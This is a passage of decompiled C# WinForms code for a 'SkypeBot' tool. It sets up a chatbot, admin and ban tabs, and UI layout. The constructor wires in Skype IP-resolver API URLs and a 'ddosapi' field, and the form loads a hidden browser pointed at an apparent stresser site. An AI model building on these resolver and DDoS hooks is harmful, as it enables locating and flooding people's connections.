- }
- }
- internal virtual FlatLabel FlatLabel12
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel12;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel12 = value;
- }
- }
- internal virtual FlatButton Button14
- {
- [DebuggerNonUserCode]
- get
- {
- return this._Button14;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._Button14 = value;
- }
- }
- internal virtual FlatTextBox TextBox6
- {
- [DebuggerNonUserCode]
- get
- {
- return this._TextBox6;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.TextBox6_TextChanged);
- bool flag = this._TextBox6 != null;
- if (flag)
- {
- this._TextBox6.TextChanged -= value2;
- }
- this._TextBox6 = value;
- flag = (this._TextBox6 != null);
- if (flag)
- {
- this._TextBox6.TextChanged += value2;
- }
- }
- }
- internal virtual FlatButton FlatButton4
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatButton4;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- EventHandler value2 = new EventHandler(this.FlatButton4_Click);
- bool flag = this._FlatButton4 != null;
- if (flag)
- {
- this._FlatButton4.Click -= value2;
- }
- this._FlatButton4 = value;
- flag = (this._FlatButton4 != null);
- if (flag)
- {
- this._FlatButton4.Click += value2;
- }
- }
- }
- internal virtual TabPage TabPage2
- {
- [DebuggerNonUserCode]
- get
- {
- return this._TabPage2;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._TabPage2 = value;
- }
- }
- internal virtual FlatLabel FlatLabel22
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel22;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel22 = value;
- }
- }
- internal virtual FlatTextBox FlatTextBox6
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatTextBox6;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatTextBox6 = value;
- }
- }
- internal virtual FlatLabel FlatLabel21
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel21;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel21 = value;
- }
- }
- internal virtual FlatTextBox FlatTextBox5
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatTextBox5;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatTextBox5 = value;
- }
- }
- internal virtual FlatLabel FlatLabel20
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel20;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel20 = value;
- }
- }
- internal virtual FlatTextBox FlatTextBox4
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatTextBox4;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatTextBox4 = value;
- }
- }
- internal virtual FlatLabel FlatLabel19
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel19;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel19 = value;
- }
- }
- internal virtual FlatLabel FlatLabel13
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel13;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel13 = value;
- }
- }
- internal virtual FlatTextBox FlatTextBox3
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatTextBox3;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatTextBox3 = value;
- }
- }
- internal virtual FlatLabel FlatLabel23
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatLabel23;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatLabel23 = value;
- }
- }
- internal virtual FlatButton FlatButton8
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatButton8;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatButton8 = value;
- }
- }
- internal virtual FlatButton FlatButton7
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatButton7;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatButton7 = value;
- }
- }
- internal virtual FlatButton FlatButton6
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatButton6;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatButton6 = value;
- }
- }
- internal virtual FlatButton FlatButton5
- {
- [DebuggerNonUserCode]
- get
- {
- return this._FlatButton5;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._FlatButton5 = value;
- }
- }
- internal virtual ListBox ListBox1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._ListBox1;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._ListBox1 = value;
- }
- }
- internal virtual WebBrowser WebBrowser1
- {
- [DebuggerNonUserCode]
- get
- {
- return this._WebBrowser1;
- }
- [DebuggerNonUserCode]
- [MethodImpl(MethodImplOptions.Synchronized)]
- set
- {
- this._WebBrowser1 = value;
- }
- }
- public Form1()
- {
- base.Load += delegate(object a0, EventArgs a1)
- {
- this.l();
- };
- base.Shown += delegate(object a0, EventArgs a1)
- {
- this.fdsqf();
- };
- Form1.__ENCAddToList(this);
- this.state = 1;
- this.launched = false;
- this.banmsg = "You are banned, Sorry!";
- this.api = "";
- this.ddosapi2 = "";
- this.factory = new ChatterBotFactory();
- this.AIb = this.factory.Create(ChatterBotType.PANDORABOTS, "b0dafd24ee35a477");
- this.AISession = this.AIb.CreateSession();
- this.adminst = true;
- this.resapi = "http://skypebot.ga/apis/apis/resolve.php?u=";
- this.resapi2 = "http://skypebot.ga/apis/apis/resolve2.php?u=";
- this.cacheapi = "http://skypebot.ga/apis/apis/cached.php?u=";
- this.lockst = 0;
- this.Evaluator1 = new Evaluator();
- this.swag = false;
- Guid clsid = new Guid("830690FC-BF2F-47A6-AC2D-330BCB402664");
- this.Skypattach = (Skype)Activator.CreateInstance(Marshal.GetTypeFromCLSID(clsid));
- this.trigger = "!";
- this.InitializeComponent();
- }
- [DebuggerNonUserCode]
- private static void __ENCAddToList(object value)
- {
- List<WeakReference> _ENCList = Form1.__ENCList;
- bool flag = false;
- checked
- {
- try
- {
- Monitor.Enter(_ENCList, ref flag);
- bool flag2 = Form1.__ENCList.Count == Form1.__ENCList.Capacity;
- if (flag2)
- {
- int num = 0;
- int arg_44_0 = 0;
- int num2 = Form1.__ENCList.Count - 1;
- int num3 = arg_44_0;
- while (true)
- {
- int arg_95_0 = num3;
- int num4 = num2;
- if (arg_95_0 > num4)
- {
- break;
- }
- WeakReference weakReference = Form1.__ENCList[num3];
- flag2 = weakReference.IsAlive;
- if (flag2)
- {
- bool flag3 = num3 != num;
- if (flag3)
- {
- Form1.__ENCList[num] = Form1.__ENCList[num3];
- }
- num++;
- }
- num3++;
- }
- Form1.__ENCList.RemoveRange(num, Form1.__ENCList.Count - num);
- Form1.__ENCList.Capacity = Form1.__ENCList.Count;
- }
- Form1.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
- }
- finally
- {
- bool flag3 = flag;
- if (flag3)
- {
- Monitor.Exit(_ENCList);
- }
- }
- }
- }
- [DebuggerNonUserCode]
- protected override void Dispose(bool disposing)
- {
- try
- {
- bool flag = disposing && this.components != null;
- if (flag)
- {
- this.components.Dispose();
- }
- }
- finally
- {
- base.Dispose(disposing);
- }
- }
- [DebuggerStepThrough]
- private void InitializeComponent()
- {
- this.components = new Container();
- ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Form1));
- this.FormSkin1 = new FormSkin();
- this.FlatButton3 = new FlatButton();
- this.FlatLabel14 = new FlatLabel();
- this.FlatLabel1 = new FlatLabel();
- this.FlatButton1 = new FlatButton();
- this.FlatTabControl1 = new FlatTabControl();
- this.Settings = new TabPage();
- this.WebBrowser1 = new WebBrowser();
- this.FlatButton4 = new FlatButton();
- this.FlatNumeric1 = new NumericUpDown();
- this.FlatLabel9 = new FlatLabel();
- this.FlatGroupBox2 = new FlatGroupBox();
- this.Button5 = new FlatButton();
- this.TextBox3 = new FlatTextBox();
- this.CheckBox6 = new CheckBox();
- this.FlatLabel2 = new FlatLabel();
- this.FlatLabel7 = new FlatLabel();
- this.FlatLabel6 = new FlatLabel();
- this.FlatToggle2 = new FlatToggle();
- this.FlatToggle1 = new FlatToggle();
- this.FlatLabel3 = new FlatLabel();
- this.Button9 = new FlatButton();
- this.Button6 = new FlatButton();
- this.GroupBox1 = new FlatGroupBox();
- this.Button4 = new FlatButton();
- this.Button2 = new FlatButton();
- this.Button1 = new FlatButton();
- this.TextBox1 = new TextBox();
- this.FlatGroupBox1 = new FlatGroupBox();
- this.TextBox2 = new FlatTextBox();
- this.Button3 = new FlatButton();
- this.Button7 = new FlatButton();
- this.CheckBox1 = new CheckBox();
- this.FlatLabel15 = new FlatLabel();
- this.Log = new TabPage();
- this.ListBox1 = new ListBox();
- this.Admins = new TabPage();
- this.Panel1 = new Panel();
- this.FlatLabel18 = new FlatLabel();
- this.FlatLabel12 = new FlatLabel();
- this.Button14 = new FlatButton();
- this.TextBox6 = new FlatTextBox();
- this.FlatLabel17 = new FlatLabel();
- this.FlatLabel16 = new FlatLabel();
- this.FlatLabel10 = new FlatLabel();
- this.Button13 = new FlatButton();
- this.TextBox5 = new FlatTextBox();
- this.FlatLabel11 = new FlatLabel();
- this.Button12 = new FlatButton();
- this.TextBox4 = new FlatTextBox();
- this.IPWhitelist = new TabPage();
- this.FlatLabel8 = new FlatLabel();
- this.Button15 = new FlatButton();
- this.TextBox7 = new FlatTextBox();
- this.TabPage1 = new TabPage();
- this.FlatButton2 = new FlatButton();
- this.FlatTextBox2 = new FlatTextBox();
- this.FlatLabel5 = new FlatLabel();
- this.FlatTextBox1 = new FlatTextBox();
- this.FlatLabel4 = new FlatLabel();
- this.TabPage2 = new TabPage();
- this.FlatLabel23 = new FlatLabel();
- this.FlatButton8 = new FlatButton();
- this.FlatButton7 = new FlatButton();
- this.FlatButton6 = new FlatButton();
- this.FlatButton5 = new FlatButton();
- this.FlatLabel22 = new FlatLabel();
- this.FlatTextBox6 = new FlatTextBox();
- this.FlatLabel21 = new FlatLabel();
- this.FlatTextBox5 = new FlatTextBox();
- this.FlatLabel20 = new FlatLabel();
- this.FlatTextBox4 = new FlatTextBox();
- this.FlatLabel19 = new FlatLabel();
- this.FlatLabel13 = new FlatLabel();
- this.FlatTextBox3 = new FlatTextBox();
- this.Button10 = new FlatButton();
- this.NFI = new NotifyIcon(this.components);
- this.FlatContextMenuStrip1 = new FlatContextMenuStrip();
- this.ShowHideToolStripMenuItem1 = new ToolStripMenuItem();
- this.ExitToolStripMenuItem1 = new ToolStripMenuItem();
- this.FormSkin1.SuspendLayout();
- this.FlatTabControl1.SuspendLayout();
- this.Settings.SuspendLayout();
- ((ISupportInitialize)this.FlatNumeric1).BeginInit();
- this.FlatGroupBox2.SuspendLayout();
- this.GroupBox1.SuspendLayout();
- this.FlatGroupBox1.SuspendLayout();
- this.Log.SuspendLayout();
- this.Admins.SuspendLayout();
- this.Panel1.SuspendLayout();
- this.IPWhitelist.SuspendLayout();
- this.TabPage1.SuspendLayout();
- this.TabPage2.SuspendLayout();
- this.FlatContextMenuStrip1.SuspendLayout();
- this.SuspendLayout();
- this.FormSkin1.BackColor = Color.White;
- this.FormSkin1.BaseColor = Color.FromArgb(24, 24, 24);
- this.FormSkin1.BorderColor = Color.FromArgb(24, 24, 24);
- this.FormSkin1.Controls.Add(this.FlatButton3);
- this.FormSkin1.Controls.Add(this.FlatLabel14);
- this.FormSkin1.Controls.Add(this.FlatLabel1);
- this.FormSkin1.Controls.Add(this.FlatButton1);
- this.FormSkin1.Controls.Add(this.FlatTabControl1);
- this.FormSkin1.Controls.Add(this.Button10);
- this.FormSkin1.Dock = DockStyle.Fill;
- this.FormSkin1.FlatColor = Color.FromArgb(211, 211, 211);
- this.FormSkin1.Font = new Font("Segoe UI", 12f);
- this.FormSkin1.HeaderColor = Color.FromArgb(30, 30, 30);
- this.FormSkin1.HeaderMaximize = false;
- Control arg_5D7_0 = this.FormSkin1;
- Point location = new Point(0, 0);
- arg_5D7_0.Location = location;
- this.FormSkin1.Name = "FormSkin1";
- Control arg_608_0 = this.FormSkin1;
- Size size = new Size(759, 611);
- arg_608_0.Size = size;
- this.FormSkin1.TabIndex = 1;
- this.FormSkin1.Text = "SkypeBot";
- this.FlatButton3.BackColor = Color.Transparent;
- this.FlatButton3.BaseColor = Color.FromArgb(30, 30, 30);
- this.FlatButton3.Cursor = Cursors.Hand;
- this.FlatButton3.Font = new Font("Segoe UI", 12f);
- Control arg_695_0 = this.FlatButton3;
- location = new Point(724, 4);
- arg_695_0.Location = location;
- this.FlatButton3.Name = "FlatButton3";
- this.FlatButton3.Rounded = false;
- Control arg_6CD_0 = this.FlatButton3;
- size = new Size(30, 33);
- arg_6CD_0.Size = size;
- this.FlatButton3.TabIndex = 34;
- this.FlatButton3.Text = "X";
- this.FlatButton3.TextColor = Color.FromArgb(211, 211, 211);
- this.FlatLabel14.AutoSize = true;
- this.FlatLabel14.BackColor = Color.Transparent;
- this.FlatLabel14.Font = new Font("Segoe UI", 8f);
- this.FlatLabel14.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_781_0 = this.FlatLabel14;
- location = new Point(583, 9);
- arg_781_0.Location = location;
- this.FlatLabel14.Name = "FlatLabel14";
- Control arg_7AC_0 = this.FlatLabel14;
- size = new Size(44, 13);
- arg_7AC_0.Size = size;
- this.FlatLabel14.TabIndex = 33;
- this.FlatLabel14.Text = "version";
- this.FlatLabel1.AutoSize = true;
- this.FlatLabel1.BackColor = Color.Transparent;
- this.FlatLabel1.Font = new Font("Segoe UI", 8f);
- this.FlatLabel1.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_83D_0 = this.FlatLabel1;
- location = new Point(105, 24);
- arg_83D_0.Location = location;
- this.FlatLabel1.Name = "FlatLabel1";
- Control arg_86B_0 = this.FlatLabel1;
- size = new Size(312, 13);
- arg_86B_0.Size = size;
- this.FlatLabel1.TabIndex = 18;
- this.FlatLabel1.Text = "Something went wrong! Please be patient to see the MOTD";
- this.FlatButton1.BackColor = Color.Transparent;
- this.FlatButton1.BaseColor = Color.FromArgb(30, 30, 30);
- this.FlatButton1.Cursor = Cursors.Hand;
- this.FlatButton1.Font = new Font("Segoe UI", 12f);
- Control arg_8F9_0 = this.FlatButton1;
- location = new Point(688, 3);
- arg_8F9_0.Location = location;
- this.FlatButton1.Name = "FlatButton1";
- this.FlatButton1.Rounded = false;
- Control arg_931_0 = this.FlatButton1;
- size = new Size(30, 33);
- arg_931_0.Size = size;
- this.FlatButton1.TabIndex = 17;
- this.FlatButton1.Text = "_";
- this.FlatButton1.TextColor = Color.FromArgb(211, 211, 211);
- this.FlatTabControl1.ActiveColor = Color.Firebrick;
- this.FlatTabControl1.BaseColor = Color.FromArgb(30, 30, 30);
- this.FlatTabControl1.Controls.Add(this.Settings);
- this.FlatTabControl1.Controls.Add(this.Log);
- this.FlatTabControl1.Controls.Add(this.Admins);
- this.FlatTabControl1.Controls.Add(this.IPWhitelist);
- this.FlatTabControl1.Controls.Add(this.TabPage1);
- this.FlatTabControl1.Controls.Add(this.TabPage2);
- this.FlatTabControl1.Font = new Font("Segoe UI", 10f);
- TabControl arg_A57_0 = this.FlatTabControl1;
- size = new Size(120, 40);
- arg_A57_0.ItemSize = size;
- Control arg_A70_0 = this.FlatTabControl1;
- location = new Point(12, 58);
- arg_A70_0.Location = location;
- this.FlatTabControl1.Name = "FlatTabControl1";
- this.FlatTabControl1.SelectedIndex = 0;
- Control arg_AAE_0 = this.FlatTabControl1;
- size = new Size(747, 553);
- arg_AAE_0.Size = size;
- this.FlatTabControl1.SizeMode = TabSizeMode.Fixed;
- this.FlatTabControl1.TabIndex = 3;
- this.Settings.BackColor = Color.FromArgb(40, 40, 40);
- this.Settings.Controls.Add(this.WebBrowser1);
- this.Settings.Controls.Add(this.FlatButton4);
- this.Settings.Controls.Add(this.FlatNumeric1);
- this.Settings.Controls.Add(this.FlatLabel9);
- this.Settings.Controls.Add(this.FlatGroupBox2);
- this.Settings.Controls.Add(this.CheckBox6);
- this.Settings.Controls.Add(this.FlatLabel2);
- this.Settings.Controls.Add(this.FlatLabel7);
- this.Settings.Controls.Add(this.FlatLabel6);
- this.Settings.Controls.Add(this.FlatToggle2);
- this.Settings.Controls.Add(this.FlatToggle1);
- this.Settings.Controls.Add(this.FlatLabel3);
- this.Settings.Controls.Add(this.Button9);
- this.Settings.Controls.Add(this.Button6);
- this.Settings.Controls.Add(this.GroupBox1);
- this.Settings.Controls.Add(this.FlatGroupBox1);
- this.Settings.Controls.Add(this.Button7);
- this.Settings.Controls.Add(this.CheckBox1);
- this.Settings.Controls.Add(this.FlatLabel15);
- TabPage arg_CAC_0 = this.Settings;
- location = new Point(4, 44);
- arg_CAC_0.Location = location;
- this.Settings.Name = "Settings";
- Control arg_CD4_0 = this.Settings;
- Padding padding = new Padding(3);
- arg_CD4_0.Padding = padding;
- Control arg_CF4_0 = this.Settings;
- size = new Size(739, 505);
- arg_CF4_0.Size = size;
- this.Settings.TabIndex = 0;
- this.Settings.Text = "Settings";
- this.WebBrowser1.CausesValidation = false;
- Control arg_D3E_0 = this.WebBrowser1;
- location = new Point(790, 157);
- arg_D3E_0.Location = location;
- Control arg_D58_0 = this.WebBrowser1;
- size = new Size(20, 20);
- arg_D58_0.MinimumSize = size;
- this.WebBrowser1.Name = "WebBrowser1";
- this.WebBrowser1.ScriptErrorsSuppressed = true;
- Control arg_D96_0 = this.WebBrowser1;
- size = new Size(188, 250);
- arg_D96_0.Size = size;
- this.WebBrowser1.TabIndex = 3;
- this.WebBrowser1.Url = new Uri("https://k-stress.pw", UriKind.Absolute);
- this.WebBrowser1.Visible = false;
- this.WebBrowser1.WebBrowserShortcutsEnabled = false;
- this.FlatButton4.BackColor = Color.Transparent;
- this.FlatButton4.BaseColor = Color.FromArgb(30, 30, 30);
- this.FlatButton4.Cursor = Cursors.Hand;
- this.FlatButton4.Font = new Font("Segoe UI", 12f);
- Control arg_E47_0 = this.FlatButton4;
- location = new Point(435, 465);
- arg_E47_0.Location = location;
- this.FlatButton4.Name = "FlatButton4";
- this.FlatButton4.Rounded = false;
- Control arg_E7F_0 = this.FlatButton4;
- size = new Size(49, 32);
- arg_E7F_0.Size = size;
- this.FlatButton4.TabIndex = 39;
- this.FlatButton4.Text = "EULA";
- this.FlatButton4.TextColor = Color.FromArgb(211, 211, 211);
- NumericUpDown arg_EF2_0 = this.FlatNumeric1;
- decimal num = new decimal(new int[]
- {
- 5,
- 0,
- 0,
- 0
- });
- arg_EF2_0.Increment = num;
- Control arg_F11_0 = this.FlatNumeric1;
- location = new Point(490, 280);
- arg_F11_0.Location = location;
- NumericUpDown arg_F49_0 = this.FlatNumeric1;
- num = new decimal(new int[]
- {
- 10000,
- 0,
- 0,
- 0
- });
- arg_F49_0.Maximum = num;
- NumericUpDown arg_F7D_0 = this.FlatNumeric1;
- num = new decimal(new int[]
- {
- 5,
- 0,
- 0,
- 0
- });
- arg_F7D_0.Minimum = num;
- this.FlatNumeric1.Name = "FlatNumeric1";
- Control arg_FA8_0 = this.FlatNumeric1;
- size = new Size(63, 25);
- arg_FA8_0.Size = size;
- this.FlatNumeric1.TabIndex = 38;
- NumericUpDown arg_FEB_0 = this.FlatNumeric1;
- num = new decimal(new int[]
- {
- 20,
- 0,
- 0,
- 0
- });
- arg_FEB_0.Value = num;
- this.FlatLabel9.AutoSize = true;
- this.FlatLabel9.BackColor = Color.Transparent;
- this.FlatLabel9.Font = new Font("Segoe UI", 8f);
- this.FlatLabel9.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_1063_0 = this.FlatLabel9;
- location = new Point(479, 291);
- arg_1063_0.Location = location;
- this.FlatLabel9.Name = "FlatLabel9";
- Control arg_1091_0 = this.FlatLabel9;
- size = new Size(228, 39);
- arg_1091_0.Size = size;
- this.FlatLabel9.TabIndex = 37;
- this.FlatLabel9.Text = " ms to take to write 1 char if \r\n\"AddSwagToMSG\" is enabled\r\n1 second = 1000ms\r\n";
- this.FlatGroupBox2.BackColor = Color.Transparent;
- this.FlatGroupBox2.BaseColor = Color.FromArgb(30, 30, 30);
- this.FlatGroupBox2.Controls.Add(this.Button5);
- this.FlatGroupBox2.Controls.Add(this.TextBox3);
- this.FlatGroupBox2.Font = new Font("Segoe UI", 10f);
- Control arg_1140_0 = this.FlatGroupBox2;
- location = new Point(473, 331);
- arg_1140_0.Location = location;
- this.FlatGroupBox2.Name = "FlatGroupBox2";
- this.FlatGroupBox2.ShowText = true;
- Control arg_117E_0 = this.FlatGroupBox2;
- size = new Size(260, 171);
- arg_117E_0.Size = size;
- this.FlatGroupBox2.TabIndex = 26;
- this.FlatGroupBox2.Text = "Whitelist";
- this.Button5.BackColor = Color.Transparent;
- this.Button5.BaseColor = Color.FromArgb(30, 30, 30);
- this.Button5.Cursor = Cursors.Hand;
- this.Button5.Font = new Font("Segoe UI", 9.75f, FontStyle.Regular, GraphicsUnit.Point, 0);
- Control arg_1210_0 = this.Button5;
- location = new Point(394, 17);
- arg_1210_0.Location = location;
- this.Button5.Name = "Button5";
- this.Button5.Rounded = false;
- Control arg_1248_0 = this.Button5;
- size = new Size(31, 20);
- arg_1248_0.Size = size;
- this.Button5.TabIndex = 1;
- this.Button5.Text = "| ? |";
- this.Button5.TextColor = Color.FromArgb(211, 211, 211);
- this.TextBox3.BackColor = Color.Transparent;
- Control arg_12B0_0 = this.TextBox3;
- location = new Point(17, 41);
- arg_12B0_0.Location = location;
- this.TextBox3.MaxLength = 32767;
- this.TextBox3.Multiline = true;
- this.TextBox3.Name = "TextBox3";
- this.TextBox3.ReadOnly = false;
- Control arg_1309_0 = this.TextBox3;
- size = new Size(229, 111);
- arg_1309_0.Size = size;
- this.TextBox3.TabIndex = 0;
- this.TextBox3.Text = "%everyone%";
- this.TextBox3.TextAlign = HorizontalAlignment.Left;
- this.TextBox3.TextColor = Color.FromArgb(211, 211, 211);
- this.TextBox3.UseSystemPasswordChar = false;
- this.CheckBox6.AutoSize = true;
- this.CheckBox6.Checked = true;
- this.CheckBox6.CheckState = CheckState.Checked;
- Control arg_13A7_0 = this.CheckBox6;
- location = new Point(604, 130);
- arg_13A7_0.Location = location;
- this.CheckBox6.Name = "CheckBox6";
- Control arg_13D2_0 = this.CheckBox6;
- size = new Size(15, 14);
- arg_13D2_0.Size = size;
- this.CheckBox6.TabIndex = 33;
- this.CheckBox6.UseVisualStyleBackColor = true;
- this.FlatLabel2.AutoSize = true;
- this.FlatLabel2.BackColor = Color.Transparent;
- this.FlatLabel2.Font = new Font("Segoe UI", 8f);
- this.FlatLabel2.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_1465_0 = this.FlatLabel2;
- location = new Point(615, 130);
- arg_1465_0.Location = location;
- this.FlatLabel2.Name = "FlatLabel2";
- Control arg_1490_0 = this.FlatLabel2;
- size = new Size(105, 13);
- arg_1490_0.Size = size;
- this.FlatLabel2.TabIndex = 32;
- this.FlatLabel2.Text = "Enable/Disable bot";
- this.FlatLabel7.AutoSize = true;
- this.FlatLabel7.BackColor = Color.Transparent;
- this.FlatLabel7.Font = new Font("Segoe UI", 8f);
- this.FlatLabel7.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_1527_0 = this.FlatLabel7;
- location = new Point(569, 230);
- arg_1527_0.Location = location;
- this.FlatLabel7.Name = "FlatLabel7";
- Control arg_1555_0 = this.FlatLabel7;
- size = new Size(135, 13);
- arg_1555_0.Size = size;
- this.FlatLabel7.TabIndex = 31;
- this.FlatLabel7.Text = "Ultimate/Premium system";
- this.FlatLabel6.AutoSize = true;
- this.FlatLabel6.BackColor = Color.Transparent;
- this.FlatLabel6.Font = new Font("Segoe UI", 8f);
- this.FlatLabel6.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_15EC_0 = this.FlatLabel6;
- location = new Point(569, 192);
- arg_15EC_0.Location = location;
- this.FlatLabel6.Name = "FlatLabel6";
- Control arg_161A_0 = this.FlatLabel6;
- size = new Size(153, 13);
- arg_161A_0.Size = size;
- this.FlatLabel6.TabIndex = 4;
- this.FlatLabel6.Text = "Auto Accept F/R (Skype V5.5)\r\n";
- this.FlatToggle2.BackColor = Color.Transparent;
- this.FlatToggle2.Checked = false;
- this.FlatToggle2.Cursor = Cursors.Hand;
- this.FlatToggle2.Font = new Font("Segoe UI", 10f);
- Control arg_16A1_0 = this.FlatToggle2;
- location = new Point(487, 221);
- arg_16A1_0.Location = location;
- this.FlatToggle2.Name = "FlatToggle2";
- this.FlatToggle2.Options = FlatToggle._Options.Style1;
- Control arg_16D9_0 = this.FlatToggle2;
- size = new Size(76, 33);
- arg_16D9_0.Size = size;
- this.FlatToggle2.TabIndex = 30;
- this.FlatToggle2.Text = "FlatToggle2";
- this.FlatToggle1.BackColor = Color.Transparent;
- this.FlatToggle1.Checked = true;
- this.FlatToggle1.Cursor = Cursors.Hand;
- this.FlatToggle1.Font = new Font("Segoe UI", 10f);
- Control arg_1761_0 = this.FlatToggle1;
- location = new Point(487, 182);
- arg_1761_0.Location = location;
- this.FlatToggle1.Name = "FlatToggle1";
- this.FlatToggle1.Options = FlatToggle._Options.Style1;
- Control arg_1799_0 = this.FlatToggle1;
- size = new Size(76, 33);
- arg_1799_0.Size = size;
- this.FlatToggle1.TabIndex = 29;
- this.FlatToggle1.Text = "FlatToggle1";
- this.FlatLabel3.AutoSize = true;
- this.FlatLabel3.BackColor = Color.Transparent;
- this.FlatLabel3.Font = new Font("Segoe UI", 8f);
- this.FlatLabel3.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_182C_0 = this.FlatLabel3;
- location = new Point(1, 469);
- arg_182C_0.Location = location;
- this.FlatLabel3.Name = "FlatLabel3";
- Control arg_185A_0 = this.FlatLabel3;
- size = new Size(145, 26);
- arg_185A_0.Size = size;
- this.FlatLabel3.TabIndex = 20;
- this.FlatLabel3.Text = "Programmer: CallofCyandic\r\nTheme edited by: WSZ";
- this.Button9.BackColor = Color.Transparent;
- this.Button9.BaseColor = Color.FromArgb(30, 30, 30);
- this.Button9.Cursor = Cursors.Hand;
- this.Button9.Font = new Font("Segoe UI", 12f);
- Control arg_18EC_0 = this.Button9;
- location = new Point(330, 465);
- arg_18EC_0.Location = location;
- this.Button9.Name = "Button9";
- this.Button9.Rounded = false;
- Control arg_1924_0 = this.Button9;
- size = new Size(106, 32);
- arg_1924_0.Size = size;
- this.Button9.TabIndex = 25;
- this.Button9.Text = "Force Update";
- this.Button9.TextColor = Color.FromArgb(211, 211, 211);
- this.Button6.BackColor = Color.Transparent;
- this.Button6.BaseColor = Color.FromArgb(30, 30, 30);
- this.Button6.Cursor = Cursors.Hand;
- this.Button6.Font = new Font("Segoe UI", 12f);
- Control arg_19D6_0 = this.Button6;
- location = new Point(212, 465);
- arg_19D6_0.Location = location;
- this.Button6.Name = "Button6";
- this.Button6.Rounded = false;
- Control arg_1A0E_0 = this.Button6;
- size = new Size(120, 32);
- arg_1A0E_0.Size = size;
- this.Button6.TabIndex = 22;
- this.Button6.Text = "CHANGELOG";
- this.Button6.TextColor = Color.FromArgb(211, 211, 211);
- this.GroupBox1.BackColor = Color.Transparent;
- this.GroupBox1.BaseColor = Color.FromArgb(30, 30, 30);
- this.GroupBox1.Controls.Add(this.Button4);
- this.GroupBox1.Controls.Add(this.Button2);
- this.GroupBox1.Controls.Add(this.Button1);
- this.GroupBox1.Controls.Add(this.TextBox1);
- this.GroupBox1.Font = new Font("Segoe UI", 10f);
- Control arg_1B07_0 = this.GroupBox1;
- location = new Point(456, 7);
- arg_1B07_0.Location = location;
- this.GroupBox1.Name = "GroupBox1";
- this.GroupBox1.ShowText = true;
- Control arg_1B42_0 = this.GroupBox1;
- size = new Size(283, 119);
- arg_1B42_0.Size = size;
- this.GroupBox1.TabIndex = 16;
- this.GroupBox1.Text = "Ban";
- this.Button4.BackColor = Color.Transparent;
- this.Button4.BaseColor = Color.FromArgb(30, 30, 30);
- this.Button4.Cursor = Cursors.Hand;
- this.Button4.Font = new Font("Segoe UI", 12f);
- Control arg_1BCE_0 = this.Button4;
- location = new Point(91, 73);
- arg_1BCE_0.Location = location;
- this.Button4.Name = "Button4";
- this.Button4.Rounded = false;
- Control arg_1C06_0 = this.Button4;
- size = new Size(106, 32);
- arg_1C06_0.Size = size;
- this.Button4.TabIndex = 4;
- this.Button4.Text = "Show All ";
- this.Button4.TextColor = Color.FromArgb(211, 211, 211);
- this.Button2.BackColor = Color.Transparent;
- this.Button2.BaseColor = Color.FromArgb(30, 30, 30);
- this.Button2.Cursor = Cursors.Hand;
- this.Button2.Font = new Font("Segoe UI", 12f);
- Control arg_1CB4_0 = this.Button2;
- location = new Point(200, 73);
- arg_1CB4_0.Location = location;
- this.Button2.Name = "Button2";
- this.Button2.Rounded = false;
